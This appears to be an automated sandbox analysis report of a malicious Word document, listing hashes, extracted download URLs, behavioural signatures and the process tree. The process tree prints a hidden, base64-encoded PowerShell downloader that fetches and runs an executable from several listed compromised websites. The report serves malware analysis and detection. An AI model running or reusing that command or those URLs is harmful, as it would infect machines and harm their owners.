Overview
overview
10Static
static
10virusshare...87.exe
windows10-2004-x64
1virusshare...4d.exe
windows10-2004-x64
5virusshare...c9.xls
windows10-2004-x64
10virusshare...f9.doc
windows10-2004-x64
10virusshare...30.pdf
windows10-2004-x64
3virusshare...re.exe
windows10-2004-x64
1virusshare...8d.exe
windows10-2004-x64
3virusshare...fa.exe
windows10-2004-x64
3virusshare...c8.doc
windows10-2004-x64
10virusshare...03.doc
windows10-2004-x64
1virusshare...40.pdf
windows10-2004-x64
3virusshare...ng.apk
android-9-x86
virusshare...ng.apk
android-10-x64
virusshare...ng.apk
android-11-x64
virusshare...4e.doc
windows10-2004-x64
1virusshare...cd.pdf
windows10-2004-x64
3virusshare...7b.exe
windows10-2004-x64
10virusshare...82.exe
windows10-2004-x64
3virusshare...6f.doc
windows10-2004-x64
10virusshare...ry.apk
android-9-x86
virusshare...ry.apk
android-10-x64
virusshare...ry.apk
android-11-x64
virusshare...d2.doc
windows10-2004-x64
1virusshare...1d.exe
windows10-2004-x64
Analysis
-
max time kernel
101s -
max time network
136s -
platform
windows10-2004_x64 -
resource
win10v2004-20250314-en -
resource tags
arch:x64arch:x86image:win10v2004-20250314-enlocale:en-usos:windows10-2004-x64system -
submitted
14/04/2025, 13:48
Static task
static1
Behavioral task
behavioral1
Sample
virusshare/1/VirusShare_0a2d1ecedf3f79754aa2c18d62e75287.exe
Resource
win10v2004-20250410-en
Behavioral task
behavioral2
Sample
virusshare/1/VirusShare_0aee78510c46e3a200b6bc21ac1c954d.exe
Resource
win10v2004-20250313-en
Behavioral task
behavioral3
Sample
virusshare/1/VirusShare_0fea640a7da27f365b3675f73626b9c9.xls
Resource
win10v2004-20250314-en
Behavioral task
behavioral4
Sample
virusshare/1/VirusShare_1ba8249d8503c0cf7bc125588c43bef9.doc
Resource
win10v2004-20250410-en
Behavioral task
behavioral5
Sample
virusshare/1/VirusShare_3cd9a967b67fe69351e390195ca7a430.pdf
Resource
win10v2004-20250410-en
Behavioral task
behavioral6
Sample
virusshare/1/malware.exe
Resource
win10v2004-20250410-en
Behavioral task
behavioral7
Sample
virusshare/2/VirusShare_01b55404de50bd1a56343b2f316ff88d.exe
Resource
win10v2004-20250410-en
Behavioral task
behavioral8
Sample
virusshare/2/VirusShare_1ad9a67240d5775395c45b64dd6529fa.exe
Resource
win10v2004-20250410-en
Behavioral task
behavioral9
Sample
virusshare/2/VirusShare_2fe5b00079aec2d8369a798230313ec8.doc
Resource
win10v2004-20250314-en
Behavioral task
behavioral10
Sample
virusshare/2/VirusShare_3f0b1eed4b7b9ae05fab4d949843f103.doc
Resource
win10v2004-20250314-en
Behavioral task
behavioral11
Sample
virusshare/2/VirusShare_480ef02bb062a57724e1b3e14532a140.pdf
Resource
win10v2004-20250314-en
Behavioral task
behavioral12
Sample
virusshare/2/wedding.apk
Resource
android-x86-arm-20240910-en
Behavioral task
behavioral13
Sample
virusshare/2/wedding.apk
Resource
android-x64-20240910-en
Behavioral task
behavioral14
Sample
virusshare/2/wedding.apk
Resource
android-x64-arm64-20240910-en
Behavioral task
behavioral15
Sample
virusshare/3/VirusShare_3fb34964fa7b8c6bfad8d960380ff04e.doc
Resource
win10v2004-20250314-en
Behavioral task
behavioral16
Sample
virusshare/3/VirusShare_4675e87be15585e66b0c88b833dd9ecd.pdf
Resource
win10v2004-20250410-en
Behavioral task
behavioral17
Sample
virusshare/3/VirusShare_4aa5734fe9c86184f931f4ddaf2d4d7b.exe
Resource
win10v2004-20250410-en
Behavioral task
behavioral18
Sample
virusshare/3/VirusShare_5c8b670c503455baafbff400a446cf82.exe
Resource
win10v2004-20250410-en
Behavioral task
behavioral19
Sample
virusshare/3/VirusShare_6ad036ba93c94d6976e2d93c7a3aec6f.doc
Resource
win10v2004-20250314-en
Behavioral task
behavioral20
Sample
virusshare/3/delivery.apk
Resource
android-x86-arm-20240910-en
Behavioral task
behavioral21
Sample
virusshare/3/delivery.apk
Resource
android-x64-20240910-en
Behavioral task
behavioral22
Sample
virusshare/3/delivery.apk
Resource
android-x64-arm64-20240910-en
Behavioral task
behavioral23
Sample
virusshare/4/VirusShare_4b8eb7fe75f72c1c5c1f80af9cd165d2.doc
Resource
win10v2004-20250410-en
Behavioral task
behavioral24
Sample
virusshare/4/VirusShare_6d2d7d94fe5faab76b3e786e7d810c1d.exe
Resource
win10v2004-20250314-en
General
-
Target
virusshare/3/VirusShare_6ad036ba93c94d6976e2d93c7a3aec6f.doc
-
Size
172KB
-
MD5
6ad036ba93c94d6976e2d93c7a3aec6f
-
SHA1
cb098f7a0492454a31f3819a1b7ec143c0c507b6
-
SHA256
4ee0bf78e3b0a06c35fed0f912db6fabbb5fae13f838cd4132634359ad0d24da
-
SHA512
525d3ccb7078d6c34287307891023a47773cb3ec94d6e5d54a4c2cb4006be5ae3356238e8fe4ce5ff17767b8326af385a2be735dac8dbe78f10c185c665f7a00
-
SSDEEP
3072:vw2y/GdyrktGDWLS0HZWD5w8K7Nk9pD7IBUaT7jc5Hw:vw2k4jtGiL3HJk9pD7b+jMQ
Malware Config
Extracted
http://www.prorites.com/wp-content/dsdb28de-kw0ch1msvi-003/
https://www.silvesterinmailand.com/wp-content/uploads/ibvgux-yg4-03475/
http://homemyland.net/tmp/wUHdeBS/
https://www.celbra.com.br/old/wp-content/uploads/2019/mbwl6-lwu0psmcb-523/
http://prihlaska.sagitta.cz/wp-content/uploads/WwcQXtRta/
Signatures
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2880 428 Powershell.exe 89 -
Blocklisted process makes network request 5 IoCs
flow pid Process 26 2880 Powershell.exe 29 2880 Powershell.exe 32 2880 Powershell.exe 65 2880 Powershell.exe 66 2880 Powershell.exe -
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 2880 Powershell.exe -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE -
Suspicious behavior: AddClipboardFormatListener 2 IoCs
pid Process 4404 WINWORD.EXE 4404 WINWORD.EXE -
Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 2880 Powershell.exe 2880 Powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 2880 Powershell.exe -
Suspicious use of SetWindowsHookEx 7 IoCs
pid Process 4404 WINWORD.EXE 4404 WINWORD.EXE 4404 WINWORD.EXE 4404 WINWORD.EXE 4404 WINWORD.EXE 4404 WINWORD.EXE 4404 WINWORD.EXE -
Suspicious use of WriteProcessMemory 2 IoCs
description pid Process procid_target PID 4404 wrote to memory of 4696 4404 WINWORD.EXE 91 PID 4404 wrote to memory of 4696 4404 WINWORD.EXE 91
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\virusshare\3\VirusShare_6ad036ba93c94d6976e2d93c7a3aec6f.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4404 -
C:\Windows\splwow64.exeC:\Windows\splwow64.exe 122882⤵PID:4696
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exePowershell -w hidden -en JABCAHgAdQBoAGkAaABuAHIAdwBrAHoAbgBiAD0AJwBRAHIAYQBnAGkAcAB4AHcAZwAnADsAJABBAG4AdwBtAGkAdwBiAHUAegBoAHAAIAA9ACAAJwAyADEANgAnADsAJABUAHoAbgBsAG8AaQB5AGoAZgA9ACcASABzAHcAeQBkAGQAdwB5AGcAaQBzAGQAaAAnADsAJABUAG4AcwBlAHIAdABrAGQAegBlAHAAegA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQAQQBuAHcAbQBpAHcAYgB1AHoAaABwACsAJwAuAGUAeABlACcAOwAkAEEAZwBkAGIAbgBjAHAAYQB0AHMAPQAnAEwAZQBkAGUAYwBsAHYAcwBvAGwAcgB0AHQAJwA7ACQAVwBuAGsAdgB4AHcAYgBhAD0AJgAoACcAbgAnACsAJwBlAHcALQBvACcAKwAnAGIAJwArACcAagBlAGMAdAAnACkAIABOAGUAdAAuAFcAZQBCAEMATABpAEUAbgBUADsAJABXAHoAagBsAGkAbABqAGMAZQA9ACcAaAB0AHQAcAA6AC8ALwB3AHcAdwAuAHAAcgBvAHIAaQB0AGUAcwAuAGMAbwBtAC8AdwBwAC0AYwBvAG4AdABlAG4AdAAvAGQAcwBkAGIAMgA4AGQAZQAtAGsAdwAwAGMAaAAxAG0AcwB2AGkALQAwADAAMwAvACoAaAB0AHQAcABzADoALwAvAHcAdwB3AC4AcwBpAGwAdgBlAHMAdABlAHIAaQBuAG0AYQBpAGwAYQBuAGQALgBjAG8AbQAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwB1AHAAbABvAGEAZABzAC8AaQBiAHYAZwB1AHgALQB5AGcANAAtADAAMwA0ADcANQAvACoAaAB0AHQAcAA6AC8ALwBoAG8AbQBlAG0AeQBsAGEAbgBkAC4AbgBlAHQALwB0AG0AcAAvAHcAVQBIAGQAZQBCAFMALwAqAGgAdAB0AHAAcwA6AC8ALwB3AHcAdwAuAGMAZQBsAGIAcgBhAC4AYwBvAG0ALgBiAHIALwBvAGwAZAAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwB1AHAAbABvAGEAZABzAC8AMgAwADEAOQAvAG0AYgB3AGwANgAtAGwAdwB1ADAAcABzAG0AYwBiAC0ANQAyADMALwAqAGgAdAB0AHAAOgAvAC8AcAByAGkAaABsAGEAcwBrAGEALgBzAGEAZwBpAHQAdABhAC4AYwB6AC8AdwBwAC0AYwBvAG4AdABlAG4AdAAvAHUAcABsAG8AYQBkAHMALwBXAHcAYwBRAFgAdABSAHQAYQAvACcALgAiAHMAcABgAGwAaQB0ACIAKAAnACoAJwApADsAJABNAHkAYgB3AGYAZQBmAGgAcgA9ACcAUgB0AHMAcwBkAGcAdQBlAGwAJwA7AGYAbwByAGUAYQBjAGgAKAAkAFoAbABxAHYAcQBnAHMAZgB4AGoAYwByAGEAIABpAG4AIAAkAFcAegBqAGwAaQBsAGoAYwBlACkAewB0AHIAeQB7ACQAVwBuAGsAdgB4AHcAYgBhAC4AIgBEAG8AYABXAG4ATABgAE8AQQBkAEYAaQBsAEUAIgAoACQAWgBsAHEAdgBxAGcAcwBmAHgAagBjAHIAYQAsACAAJABUAG4AcwBlAHIAdABrAGQAegBlAHAAegApADsAJABEAHAAcgBtAG4AdQBvAHAAPQAnAEUAdgBjAGIAcwB2AGQAdABnACcAOwBJAGYAIAAoACgAJgAoACcARwBlAHQALQBJAHQAJwArACcAZQAnACsAJwBtACcAKQAgACQAVABuAHMAZQByAHQAawBkAHoAZQBwAHoAKQAuACIAbABlAG4AZwBgAFQASAAiACAALQBnAGUAIAAzADcANgA2ADkAKQAgAHsAWwBEAGkAYQBnAG4AbwBzAHQAaQBjAHMALgBQAHIAbwBjAGUAcwBzAF0AOgA6ACIAcwB0AGEAYABSAHQAIgAoACQAVABuAHMAZQByAHQAawBkAHoAZQBwAHoAKQA7ACQAWQB1AGIAYQB2AGkAbAB6AHAAeQBuAGsAdgA9ACcAVABxAGsAdABiAHcAeABtAHkAJwA7AGIAcgBlAGEAawA7ACQATABrAHIAawBlAHcAcQBlAHIAeABrAD0AJwBHAGUAawBzAGcAaQBzAGYAZwByAGoAZAB3ACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEMAYgBoAGQAbABmAHcAYgBoAGUAPQAnAFUAcgB0AGgAaQBkAGwAbQB4AG0AZQAnAA==1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2880
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
444B
MD5f3495abe4ed2113fee2ab49024d0243f
SHA14511407e0b99f5c75ee74f48781e2d6d3a3d3ee6
SHA256d0752f706c860fca2ef2f5bf95cd11c9f84ae00f19ce1ccfbcb3166509d4c591
SHA512bdc36abf6e1c1764a9119e92c6fc11d5150bf7a17497ddbd07f0eb7436900641b0b6702b2797583c9ffc73da96fef3a6c8c1a452d5a22a522ea2c57c8b9699d2
-
Filesize
245KB
MD5f883b260a8d67082ea895c14bf56dd56
SHA17954565c1f243d46ad3b1e2f1baf3281451fc14b
SHA256ef4835db41a485b56c2ef0ff7094bc2350460573a686182bc45fd6613480e353
SHA512d95924a499f32d9b4d9a7d298502181f9e9048c21dbe0496fa3c3279b263d6f7d594b859111a99b1a53bd248ee69b867d7b1768c42e1e40934e0b990f0ce051e
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\fb3b0dbfee58fac8.customDestinations-ms
Filesize3KB
MD542da8124ff7f89eae058be3545abb925
SHA113ecacd1b82c776370a8dbb1822f8170c938ceb3
SHA2563d62270d24e1f3fb4fb4a6801c12a56536bae476c78d9a2799c4c1ab15e5ac63
SHA5122a602ff67fd853d5a4913dd02096c31a8c5adb4fda6d3f4eddb666140c6522c93d991ab61ad1dedfc3b323e4845f80dd41cf091d8c677cd378d08d81ffe4c7fa